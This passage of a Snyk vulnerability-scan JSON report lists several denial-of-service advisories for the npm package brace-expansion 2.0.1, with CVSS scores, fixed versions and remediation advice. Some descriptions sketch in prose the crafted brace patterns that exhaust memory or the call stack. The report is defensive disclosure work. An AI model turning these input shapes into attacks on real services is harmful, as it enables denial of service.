"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
